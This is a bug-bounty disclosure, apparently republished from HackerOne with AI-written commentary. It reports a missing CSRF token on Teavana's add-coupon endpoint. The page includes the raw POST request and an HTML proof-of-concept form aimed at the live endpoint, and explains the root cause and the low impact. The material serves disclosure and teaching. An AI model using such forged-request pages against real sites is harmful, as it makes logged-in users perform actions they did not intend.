Missing CSRF Token On Add Coupon To Basket
The endpoint that adds a coupon to a shopping basket accepted POST requests without a CSRF token. An attacker could make a logged-in victim's browser submit a crafted form and add an attacker-chosen coupon to the victim's basket.
Originally disclosed on HackerOne
- Disclosed after 20 months
Hi,
When Adding Coupun It's missing CSRF Token, and at this time, i use BOGO50 Coupun to reproduce it.
Vuln Request
POST /on/demandware.store/Sites-Teavana-Site/default/Home-AddCouponToBasket?couponcode=BOGO50&format=ajax HTTP/1.1
Host: www.teavana.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Cookie: <some cookie>
Connection: close
Upgrade-Insecure-Requests: 1
PoC Code
<html>
<body>
<form action="https://www.teavana.com/on/demandware.store/Sites-Teavana-Site/default/Home-AddCouponToBasket?couponcode=BOGO50&format=ajax" method="POST">
<input type="hidden" name="" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Thanks, If you need video, i will create one !
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the add-coupon endpoint performed a state-changing action on a POST request without validating any anti-CSRF token or origin check.
Impact
An attacker could add a coupon of their choosing to a victim's basket without the victim's consent, though the report does not show any further harm such as financial loss.
What the attacker needed
Victim is logged in; victim visits attacker page
How it was found
- Send a POST request to the add-coupon endpoint with a coupon code in the query string and no CSRF token.
- The request adds the coupon to the basket without a token.
- Host an HTML page containing a form that submits to the same endpoint.
- A logged-in victim loading the page would submit the form and add the coupon.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Websites use a secret value called a CSRF token to check that a form submission really came from their own pages. This shop's 'add coupon' action did not check for one, so any other website could quietly send that request using the visitor's logged-in session. The result is that a coupon chosen by the attacker gets added to the victim's basket without them doing anything.
What is CSRF?
Another site makes a signed-in user's browser perform an action they did not intend.